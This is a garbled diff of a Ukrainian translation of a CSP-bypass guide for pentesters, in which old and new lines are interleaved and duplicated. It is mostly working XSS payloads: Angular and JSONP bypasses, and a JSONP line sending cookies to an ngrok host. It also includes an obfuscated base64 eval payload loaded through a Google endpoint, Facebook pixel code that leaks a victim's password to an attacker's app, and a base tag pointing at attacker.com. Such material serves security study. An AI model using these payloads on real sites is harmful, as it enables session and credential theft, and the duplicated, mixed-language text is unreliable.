- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні конкретні директиви завантаження.
- **child-src**: Визначає дозволені джерела для web workers і вбудованого вмісту фреймів.
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що запускаються обробниками подій або XSLT стилями.
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні специфічні директиви для fetch.
- **child-src**: Визначає дозволені джерела для веб-воркерів і вбудованого вмісту фреймів.
- **connect-src**: Обмежує URL, які можна завантажувати через інтерфейси на кшталт fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Обмежує URL для фреймів.
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку; застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
- **frame-ancestors**: Визначає, які джерела можуть вбудовувати поточну сторінку; застосовується до елементів таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, and `<applet>`.
- **img-src**: Визначає дозволені джерела для зображень.
- **font-src**: Визначає допустимі джерела для шрифтів, завантажуваних за допомогою `@font-face`.
- **manifest-src**: Визначає дозволені джерела файлів manifest додатків.
- **font-src**: Вказує допустимі джерела для шрифтів, завантажуваних через `@font-face`.
- **manifest-src**: Визначає дозволені джерела файлів manifest додатка.
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
- **base-uri**: Вказує дозволені URL для завантаження з використанням елементів `<base>`.
- **form-action**: Перелічує дозволені кінцеві точки для відправки форм.
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, and `<applet>`.
- **base-uri**: Вказує дозволені URL для завантаження через елемент `<base>`.
- **form-action**: Перелічує допустимі кінцеві точки для відправлення форм.
- **plugin-types**: Обмежує mime-типи, які сторінка може викликати.
- **upgrade-insecure-requests**: Підказує браузерам переписувати HTTP URL на HTTPS.
- **sandbox**: Застосовує обмеження, подібні до атрибута sandbox у `<iframe>`.
- **report-to**: Вказує групу, куди надсилатиметься звіт у разі порушення політики.
- **upgrade-insecure-requests**: Інструктує браузери переписувати HTTP URL у HTTPS.
- **sandbox**: Застосовує обмеження, подібні до атрибута sandbox елемента `<iframe>`.
- **report-to**: Вказує групу, куди буде відправлено звіт у разі порушення політики.
- **worker-src**: Визначає допустимі джерела для скриптів Worker, SharedWorker або ServiceWorker.
- **prefetch-src**: Визначає допустимі джерела для ресурсів, які будуть завантажені або попередньо завантажені.
- **navigate-to**: Обмежує URL, до яких документ може переміститись будь-яким способом (a, form, window.location, window.open тощо).
- **prefetch-src**: Визначає допустимі джерела для ресурсів, які будуть отримані або попередньо завантажені.
- **navigate-to**: Обмежує URL, до яких документ може переходити будь-яким способом (a, form, window.location, window.open, тощо).
### Джерела
- `*`: Дозволяє всі URL, окрім тих зі схемами `data:`, `blob:`, `filesystem:`.
- `'self'`: Дозволяє завантаження з того ж домену.
- `'data'`: Дозволяє завантажувати ресурси через схему data (наприклад, зображення в Base64).
- `*`: Дозволяє всі URL, окрім тих, що мають схеми `data:`, `blob:`, `filesystem:`.
- `'self'`: Дозволяє завантаження з того самого домену.
- `'data'`: Дозволяє завантаження ресурсів через data-схему (наприклад, зображення у Base64).
- `'none'`: Блокує завантаження з будь-якого джерела.
- `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів, не рекомендовано з міркувань безпеки.
- `'unsafe-hashes'`: Дозволяє певні inline-обробники подій.
- `'unsafe-inline'`: Дозволяє використання inline-ресурсів, як-от inline `<script>` або `<style>`, не рекомендовано з міркувань безпеки.
- `'nonce'`: Білий список для конкретних inline-скриптів, що використовують криптографічний nonce (число, використане один раз).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
- `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів; не рекомендовано з міркувань безпеки.
- `'unsafe-hashes'`: Дозволяє використання певних вбудованих обробників подій.
- `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як inline `<script>` або `<style>`; не рекомендовано з міркувань безпеки.
- `'nonce'`: Білий список для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce на сторінці за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажувати нові джерела, тому це не потрібно), наприклад:
<details>
@ -88,16 +88,16 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256-хешем.
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо вони були додані до білого списку через nonce або hash.
- `'sha256-<hash>'`: Додає скрипти з конкретним sha256-хешем до дозволених джерел.
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо вони були додані до дозволених за допомогою nonce або hash.
- `'host'`: Вказує конкретний хост, наприклад `example.com`.
- `https:`: Обмежує URL-адреси до тих, що використовують HTTPS.
- `blob:`: Дозволяє завантаження ресурсів з Blob URL-адрес (наприклад, Blob URL, створені через JavaScript).
- `https:`: Обмежує URL-адреси лише тими, що використовують HTTPS.
- `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених через JavaScript).
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
- `'report-sample'`: Включає зразок порушеного коду у звіт про порушення (корисно для налагодження).
- `'strict-origin'`: Схожий на 'self', але гарантує, що рівень безпеки протоколу джерел відповідає документу (тільки безпечні origin можуть завантажувати ресурси з безпечних origin).
- `'strict-origin-when-cross-origin'`: Надсилає повні URL при same-origin запитах, але надсилає лише origin при cross-origin запитах.
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправляють на інший ресурс. Не рекомендовано, оскільки послаблює безпеку.
- `'report-sample'`: Включає зразок коду, що порушує політику, у звіт про порушення (корисно для налагодження).
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні origin можуть завантажувати ресурси з безпечних origin).
- `'strict-origin-when-cross-origin'`: Надсилає повні URL при запитах до того ж origin, але надсилає лише origin при крос-оріджин запитах.
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно переадресовують на інший ресурс. Не рекомендовано, оскільки послаблює безпеку.
## Небезпечні правила CSP
@ -107,7 +107,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Робочий payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' через Iframes
#### self + 'unsafe-inline' via Iframes
{{#ref}}
@ -127,7 +127,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
Якщо ви якимось чином зможете змусити **дозволений JS-код створити новий script tag** у DOM (тобто створений дозволеним скриптом), то **новий script tag буде дозволено виконуватися**.
Якщо ви якимось чином зможете зробити так, щоб **allowed JS code created a new script tag** у DOM з вашим JS code, оскільки **allowed script** його створює, то **new script tag will be allowed to be executed**.
### Wildcard (\*)
```yaml
@ -140,7 +140,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
### Відсутність object-src і default-src
> [!CAUTION] > **Здається, це більше не працює**
> [!CAUTION] > **Схоже, це більше не працює**
```yaml
Content-Security-Policy: script-src 'self' ;
```
@ -154,30 +154,30 @@ Content-Security-Policy: script-src 'self' ;
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
Якщо ви можете завантажити JS-файл, ви можете обійти цей CSP:
Working payload:
Робочий payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Втім, дуже ймовірно, що сервер **перевіряє завантажений файл** і дозволяє завантажувати лише **файли певного типу**.
However, it's highly probable that the server is **перевіряє завантажений файл** and will only allow you to **завантажувати певні типи файлів**.
Більше того, навіть якщо ви зможете завантажити **JS code inside** у файл з розширенням, яке приймає сервер (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **select MIME type of the file based on the extension**, а браузери на кшталт Chrome **reject to execute Javascript** код всередині того, що має бути зображенням. "Hopefully", трапляються помилки. Наприклад, на CTF я дізнався, що **Apache doesn't know** розширення _**.wave**_, тому він не віддає його з **MIME type like audio/***.
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
У такому випадку, якщо ви знайдете XSS і функцію завантаження файлів, і вам вдасться знайти **misinterpreted extension**, ви можете спробувати завантажити файл з тим розширенням і вмістом скрипта. Або, якщо сервер перевіряє коректність формату завантаженого файлу, створіть polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Якщо впровадити JS неможливо, ви все одно можете спробувати ексфільтрувати, наприклад, облікові дані, **injecting a form action** (і можливо сподіваючись, що password managers автоматично підставлять паролі). Ви можете знайти an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зауважте, що `default-src` не покриває form actions.
If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Для деяких із наведених payload **`unsafe-eval` навіть не потрібен**.
> Для деяких з наведених payload **`unsafe-eval` навіть не потрібен**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Завантажити вразливу версію angular і виконати довільний JS:
Завантажте вразливу версію angular і виконайте довільний JS:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + бібліотека з функціями, що повертають об'єкт `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> У пості показано, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
> The post shows that you could **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (or any other allowed JS libraries repo), виконати всі додані функції з кожної бібліотеки, та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -233,7 +233,7 @@ Angular XSS із імені класу:
```
#### Зловживання google recaptcha JS code
Згідно з [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP, щоб виконувати довільний JS code, обходячи CSP:
Згідно з [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) ви можете зловживати [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) всередині CSP, щоб виконати довільний JS code, обійшовши CSP:
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Детальніше [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Більше [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -267,15 +267,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
https://www.google.com/amp/s/example.com/
```
Abusing \*.google.com/script.google.com
Зловживання \*.google.com/script.google.com
Можна зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це було [зроблено в цьому звіті](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Можна зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це [зроблено в цьому звіті](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Third Party Endpoints + JSONP
### Сторонні кінцеві точки + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Сценарії, як цей, коли `script-src` встановлено на `self` і певний домен whitelisted, можна обійти за допомогою JSONP. JSONP endpoints дозволяють небезпечні callback-методи, які дозволяють атакуючому виконати XSS, робочий payload:
Сценарії на кшталт цього, коли `script-src` встановлено в `self` і певний домен додано до білого списку, можна обійти за допомогою JSONP. JSONP endpoints дозволяють insecure callback methods, які дозволяють attacker виконати XSS, working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,13 +289,13 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP endpoints для CSP bypass на різних вебсайтах.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP endpoints для обходу CSP різних вебсайтів.**
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
Та сама вразливість виникає, якщо **trusted endpoint містить Open Redirect**, оскільки якщо початковий endpoint довірений, то і redirects вважаються довіреними.
### Зловживання сторонніми сервісами
### Зловживання третіх сторін
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:
Як описано в [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), існує багато доменів третіх сторін, які можуть бути дозволені десь у CSP і які можна зловживати для exfiltrate data або виконання JavaScript-коду. Деякі з цих третіх сторін:
| Сервіс | Дозволений домен | Можливості |
| ----------------- | -------------------------------------------- | ---------- |
@ -308,9 +308,9 @@ As described in the [following post](https://sensepost.com/blog/2023/dress-code-
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec|
| Google Firebase | \*.firebaseapp.com | Exfil, Exec|
If you find any of the allowed domains in the CSP of your target, chances are that you might be able to bypass the CSP by registering on the third-party service and, either exfiltrate data to that service or to execute code.
Якщо ви знайдете будь-який із дозволених доменів у CSP вашої цілі, є велика ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі і або exfiltrate data на цей сервіс, або виконати код.
For example, if you find the following CSP:
Наприклад, якщо ви знайдете наступний CSP:
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -318,45 +318,45 @@ Content-Security-Policy: default-src 'self www.facebook.com;
```
Content-Security-Policy: connect-src www.facebook.com;
```
Ви повинні мати можливість exfiltrate data, подібно до того, як це завжди робилося з [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). У цьому випадку дотримуйтесь загальних кроків:
Ви повинні мати змогу exfiltrate дані, так само як це завжди робилося за допомогою [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). У цьому випадку виконуйте загальні кроки:
1. Create a Facebook Developer account here.
2. Create a new "Facebook Login" app and select "Website".
3. Go to "Settings -> Basic" and get your "App ID"
4. На цільовому сайті, з якого ви хочете exfiltrate data, можна exfiltrate data, безпосередньо використовуючи Facebook SDK гаджет "fbq" через "customEvent" і data payload.
5. Go to your App "Event Manager" and select the application you created (зауважте, event manager може знаходитись за URL, схожим на цей: https://www.facebook.com/events_manager2/list/pixel/\[app-id]/test_events
6. Select the tab "Test Events" щоб бачити події, що відправляються вашим web site.
1. Створіть Facebook Developer account тут.
2. Створіть новий додаток "Facebook Login" і виберіть "Website".
3. Перейдіть до "Settings -> Basic" і отримайте ваш "App ID"
4. На цільовому сайті, з якого ви хочете exfiltrate data, ви можете exfiltrate data, безпосередньо використовуючи Facebook SDK gadget "fbq" через "customEvent" та data payload.
5. Перейдіть до вашого App "Event Manager" і виберіть створений додаток (зверніть увагу, що event manager можна знайти за URL, подібним до цього: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилає "your" web site.
Потім, на victim side, ви виконуєте наступний код, щоб ініціалізувати Facebook tracking pixel, щоб вказати на app-id attacker'а у Facebook developer account і відправити custom event ось так:
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати Facebook tracking pixel, вказати app-id облікового запису Facebook Developer атакуючого і викликати custom event таким чином:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їхнього зловживання. Для додаткових пояснень щодо інших зловживань сторонніми ресурсами див. раніше згаданий [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses).
Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їхнього зловживання. Зверніться до раніше [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень щодо інших зловживань третіх сторін.
### Обхід через RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Окрім згаданого перенаправлення для обходу обмежень шляхів, існує ще одна техніка під назвою Relative Path Overwrite (RPO), яку можна використовувати на деяких серверах.
На додаток до вищевказаного перенаправлення для обходу обмежень шляху, існує інша техніка, звана Relative Path Overwrite (RPO), яку можна використовувати на деяких серверах.
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти таким чином:
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти так:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
Браузер в кінцевому підсумку завантажить `https://example.com/scripts/angular/angular.js`.
This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
Це працює, тому що для браузера ви завантажуєте файл з іменем `..%2fangular%2fangular.js`, розташований під `https://example.com/scripts/react/`, що відповідає CSP.
∑, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
В результаті, вони його декодують, фактично запитуючи `https://example.com/scripts/react/../angular/angular.js`, що еквівалентно `https://example.com/scripts/angular/angular.js`.
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
**Шляхові правила можуть бути обійдені, експлуатуючи цю невідповідність у інтерпретації URL між браузером і сервером.**
The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
Рішення — не трактувати `%2f` як `/` на стороні сервера, забезпечивши узгоджену інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Виконання JS в iframe
### Iframes JS execution
{{#ref}}
@ -365,23 +365,23 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
### Відсутній **base-uri**
Якщо директива **base-uri** відсутня, ви можете зловживати цим для виконання [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Якщо директива **base-uri** відсутня, ви можете зловживати цим, щоб виконати [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
Крім того, якщо **сторінка завантажує скрипт за відносним шляхом** (наприклад `<script src="/js/app.js">`) з використанням **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **load** скрипт з **your own server achieving a XSS.**\
Якщо вразлива сторінка завантажується по **httpS**, використайте httpS url у base.
Більше того, якщо **сторінка завантажує скрипт з відносного шляху** (наприклад `<script src="/js/app.js">`) з використанням **Nonce**, ви можете зловживати **base** **tag** щоб змусити його **завантажити** скрипт з **вашого сервера, досягаючи XSS.**\
Якщо вразлива сторінка завантажується через **httpS**, використовуйте httpS url у base.
```html
<base href="https://www.attacker.com/" />
```
### Події AngularJS
Специфічна політика, відома як Політика безпеки вмісту (Content Security Policy, CSP), може обмежувати JavaScript-події. Однак AngularJS вводить власні події як альтернативу. У межах події AngularJS надає спеціальний об'єкт `$event`, який посилається на нативний об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має властивість `path`, що містить масив об'єктів, задіяних у ланцюжку виконання події, при цьому об'єкт `window` завжди знаходиться в кінці. Ця структура критично важлива для sandbox escape.
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript-події. Проте AngularJS вводить кастомні події як альтернативу. Всередині події AngularJS надає унікальний об'єкт `$event`, який посилається на нативний об'єкт події браузера. Цей `$event` об'єкт може бути використаний для обходу CSP. Зауважте, що в Chrome об'єкт `$event/event` має атрибут `path`, який містить масив об'єктів, задіяний у ланцюжку виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик sandbox escape.
Якщо передати цей масив у фільтр `orderBy`, можна ітеруватися по ньому, використовуючи останній елемент (об'єкт `window`) для виклику глобальної функції, наприклад `alert()`. Нижче наведено приклад коду, що ілюструє цей процес:
Направивши цей масив до фільтра `orderBy`, можна ітерувати по ньому, використовуючи кінцевий елемент (об'єкт `window`) для виклику глобальної функції, наприклад `alert()`. Показаний нижче фрагмент коду ілюструє цей процес:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Цей фрагмент демонструє використання директиви `ng-focus` для ініціювання події, застосовуючи `$event.path|orderBy` для маніпуляції масивом `path`, та використовуючи об'єкт `window` для виконання функції `alert()`, що дозволяє отримати `document.cookie`.
Цей фрагмент демонструє використання директиви `ng-focus` для виклику події, застосування `$event.path|orderBy` для маніпуляції масивом `path` і використання об'єкта `window` для виконання функції `alert()`, що дозволяє отримати `document.cookie`.
**Знайдіть інші Angular bypasses на** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -389,7 +389,7 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Політика CSP, яка whitelists domains для script loading в Angular JS application, може бути обійдена через виклик callback functions та певних vulnerable classes. Більш детальну інформацію про цю техніку можна знайти у вичерпному керівництві на цьому [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Політику CSP, яка включає домени в білому списку для завантаження скриптів у додатку Angular JS, можна обійти шляхом виклику callback functions та певних vulnerable classes. Більш детальна інформація про цю техніку доступна в докладному посібнику на цьому [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Working payloads:
```html
@ -399,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Інші кінцеві точки JSONP для довільного виконання можна знайти [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (деякі з них були видалені або виправлені)
Інші JSONP кінцеві точки для довільного виконання можна знайти в [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (деякі з них були видалені або виправлені)
### Обхід через перенаправлення
Що відбувається, коли CSP натрапляє на серверне перенаправлення? Якщо перенаправлення веде на інший origin, який не дозволений, воно все одно зазнає невдачі.
Що відбувається, коли CSP зустрічає серверне перенаправлення? Якщо перенаправлення веде до іншого origin, який не дозволено, воно все одно не пройде.
Однак, згідно з описом у [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо перенаправлення веде на інший path, воно може обійти початкові обмеження.
Однак, згідно з описом у [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо перенаправлення веде до іншого шляху, воно може обійти початкові обмеження.
Ось приклад:
```html
@ -425,25 +425,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, обидва скрипти `/test` та `/a/test` будуть заблоковані CSP.
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
Однак кінцевий `http://localhost:5555/301` буде **перенаправлено на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це редирект, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
Однак кінцевий `http://localhost:5555/301` буде **перенаправлений на сервері на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, що дозволяє обійти обмеження шляху.
При такому перенаправленні, навіть якщо шлях вказано повністю, його все одно буде обійдено.
З таким перенаправленням, навіть якщо шлях вказано повністю, його все одно можна обійти.
Тому найкраще рішення — переконатися, що на сайті немає вразливостей типу open redirect і що в правилах CSP немає доменів, які можна експлуатувати.
Тому найкраще рішення — переконатися, що на сайті немає вразливостей open redirect і що в правилах CSP немає доменів, які можна використати.
### Обійти CSP за допомогою dangling markup
### Bypass CSP with dangling markup
Детальніше читайте [тут](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` означає, що ви можете виконувати будь-який скрипт у коді (XSS може виконувати код), а `img-src *` означає, що на сторінці можна використовувати будь-яке зображення з будь-якого ресурсу.
`'unsafe-inline'` означає, що ви можете виконувати будь-який скрипт всередині коду (XSS може виконувати код), а `img-src *` означає, що ви можете використовувати на сторінці будь-яке зображення з будь-якого джерела.
Ви можете обійти цей CSP шляхом ексфільтрації даних через зображення (у цьому випадку XSS зловживає CSRF, де сторінка, доступна боту, містить SQLi, і витягує flag через зображення):
Ви можете обійти цей CSP шляхом ексфільтрації даних через зображення (у цьому випадку XSS зловживає CSRF, де сторінка, доступна боту, містить SQLi, і flag витягується через зображення):
```javascript
<script>
